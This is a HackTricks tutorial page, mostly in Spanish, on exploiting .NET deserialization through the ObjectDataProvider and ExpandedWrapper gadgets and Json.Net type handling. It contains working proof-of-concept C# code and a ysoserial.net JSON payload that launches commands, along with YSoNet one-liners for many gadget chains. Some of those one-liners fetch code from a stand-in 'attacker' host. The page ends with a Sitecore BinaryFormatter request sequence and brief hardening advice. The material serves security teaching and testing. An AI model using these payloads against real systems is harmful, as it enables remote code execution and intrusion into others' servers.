Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Reading time: 10 minutes
tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
This post está dedicado a entender cómo se explota el gadget ObjectDataProvider para obtener RCE y cómo las librerías de serialización Json.Net y xmlSerializer pueden ser abusadas con ese gadget.
ObjectDataProvider Gadget
From the documentation: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Sí, es una explicación extraña, así que veamos qué tiene esta clase que es tan interesante: Esta clase permite wrappear un objeto arbitrario, usar MethodParameters para establecer parámetros arbitrarios, y luego usar MethodName para llamar a una función arbitraria del objeto arbitrario declarada usando los parámetros arbitrarios.
Por lo tanto, el objeto arbitrario ejecutará una función con parámetros mientras se deserializa.
How is this possible
El namespace System.Windows.Data, que se encuentra dentro de PresentationFramework.dll en C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, es donde se define e implementa ObjectDataProvider.
Usando dnSpy puedes inspeccionar el código de la clase que nos interesa. En la imagen de abajo estamos viendo el código de PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name
.png)
Como puedes observar, cuando se establece MethodName se llama a base.Refresh(), vamos a ver qué hace eso:
.png)
Ok, continuemos viendo qué hace this.BeginQuery(). BeginQuery es sobrescrito por ObjectDataProvider y esto es lo que hace:
.png)
Fíjate que al final del código está llamando a this.QueryWorke(null). Veamos qué ejecuta eso:
.png)
Ten en cuenta que este no es el código completo de la función QueryWorker pero muestra la parte interesante: El código llama a this.InvokeMethodOnInstance(out ex); esta es la línea donde se invoca el método establecido.
Si quieres comprobar que con solo establecer el MethodName se ejecutará, puedes ejecutar este código:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Note that you need to add as reference C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll in order to load System.Windows.Data
ExpandedWrapper
Usando el exploit anterior habrá casos en los que el object se va a deserializar como una instancia ObjectDataProvider (por ejemplo en DotNetNuke vuln, usando XmlSerializer, el objeto fue deserializado usando GetType). Entonces, no tendrá conocimiento del tipo de objeto que está envuelto en la instancia ObjectDataProvider (por ejemplo Process). Puedes encontrar más información sobre la DotNetNuke vuln aquí.
Esta clase permite especificar los tipos de objeto de los objetos que están encapsulados en una instancia dada. Por lo tanto, esta clase puede usarse para encapsular un objeto origen (ObjectDataProvider) dentro de un nuevo tipo de objeto y proporcionar las propiedades que necesitamos (ObjectDataProvider.MethodName y ObjectDataProvider.MethodParameters).
Esto es muy útil para casos como el presentado antes, porque podremos wrap _ObjectDataProvider** inside an **ExpandedWrapper _ instance y cuando se deserialice esta clase creará el objeto OjectDataProvider que ejecutará la función indicada en MethodName.
Puedes comprobar este wrapper con el siguiente código:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
En la official web page se indica que esta biblioteca permite Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer. Por lo tanto, si pudiéramos deserialize the ObjectDataProvider gadget, podríamos provocar una RCE simplemente deserializing un objeto.
Ejemplo de Json.Net
Primero veamos un ejemplo de cómo serialize/deserialize un objeto usando esta biblioteca:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Abusar de Json.Net
Usando ysoserial.net creé el exploit:
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
En este código puedes test the exploit, simplemente ejecútalo y verás que se ejecuta calc:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
The ObjectDataProvider + ExpandedWrapper technique introduced above is only one of MANY gadget chains that can be abused when an application performs unsafe .NET deserialization. Modern red-team tooling such as YSoNet (and the older ysoserial.net) automate the creation of ready-to-use malicious object graphs for dozens of gadgets and serialization formats.
Below is a condensed reference of the most useful chains shipped with YSoNet together with a quick explanation of how they work and example commands to generate the payloads.
| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
|---|---|---|---|
| TypeConfuseDelegate | Corrupts the DelegateSerializationHolder record so that, once materialised, the delegate points to any attacker supplied method (e.g. Process.Start) | BinaryFormatter, SoapFormatter, NetDataContractSerializer | ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin |
| ActivitySurrogateSelector | Abuses System.Workflow.ComponentModel.ActivitySurrogateSelector to bypass .NET ≥4.8 type-filtering and directly invoke the constructor of a provided class or compile a C# file on the fly | BinaryFormatter, NetDataContractSerializer, LosFormatter | ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat |
| DataSetOldBehaviour | Leverages the legacy XML representation of System.Data.DataSet to instantiate arbitrary types by filling the <ColumnMapping> / <DataType> fields (optionally faking the assembly with --spoofedAssembly) | LosFormatter, BinaryFormatter, XmlSerializer | ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml |
| GetterCompilerResults | On WPF-enabled runtimes (> .NET 5) chains property getters until reaching System.CodeDom.Compiler.CompilerResults, then compiles or loads a DLL supplied with -c | Json.NET typeless, MessagePack typeless | ysonet.exe GetterCompilerResults -c Loader.dll > payload.json |
| ObjectDataProvider (review) | Uses WPF System.Windows.Data.ObjectDataProvider to call an arbitrary static method with controlled arguments. YSoNet adds a convenient --xamlurl variant to host the malicious XAML remotely | BinaryFormatter, Json.NET, XAML, etc. | ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml |
| PSObject (CVE-2017-8565) | Embeds ScriptBlock into System.Management.Automation.PSObject that executes when PowerShell deserialises the object | PowerShell remoting, BinaryFormatter | ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin |
tip
All payloads are written to stdout by default, making it trivial to pipe them into other tooling (e.g. ViewState generators, base64 encoders, HTTP clients).
Building / Installing YSoNet
If no pre-compiled binaries are available under Actions ➜ Artifacts / Releases, the following PowerShell one-liner will set up a build environment, clone the repository and compile everything in Release mode:
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
The compiled ysonet.exe can then be found under ysonet/bin/Release/.
Detección y Endurecimiento
- Detectar procesos hijos inesperados de
w3wp.exe,PowerShell.exe, o cualquier proceso que deserialice datos suministrados por el usuario (p. ej.MessagePack,Json.NET). - Habilitar y hacer cumplir el filtrado de tipos (
TypeFilterLevel= Full, customSurrogateSelector,SerializationBinder, etc.) siempre que no se pueda eliminar elBinaryFormatter/NetDataContractSerializerheredado. - Cuando sea posible, migrar a
System.Text.JsonoDataContractJsonSerializercon convertidores basados en whitelist. - Bloquear ensamblados WPF peligrosos (
PresentationFramework,System.Workflow.*) para que no se carguen en procesos web que nunca deberían necesitarlos.
Sink en el mundo real: Sitecore convertToRuntimeHtml → BinaryFormatter
Un sink práctico de .NET accesible en flujos autenticados del Sitecore XP Content Editor:
- API del sink:
Sitecore.Convert.Base64ToObject(string)envuelvenew BinaryFormatter().Deserialize(...). - Ruta de activación: pipeline
convertToRuntimeHtml→ConvertWebControls, que busca un elemento hermano conid="{iframeId}_inner"y lee un atributovalueque se trata como datos serializados codificados en base64. El resultado se castea a string e insertado en el HTML.
Ejemplo mínimo de extremo a extremo (autenticado):
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
- Gadget: cualquier BinaryFormatter chain que devuelva un string (los side‑effects se ejecutan durante la deserialización). Ver YSoNet/ysoserial.net para generar payloads.
Para una cadena completa que comienza pre‑auth con HTML cache poisoning en Sitecore y conduce a este sink:
References
- YSoNet – .NET Deserialization Payload Generator
- ysoserial.net – original PoC tool
- Microsoft – CVE-2017-8565
- watchTowr Labs – Sitecore XP cache poisoning → RCE
tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks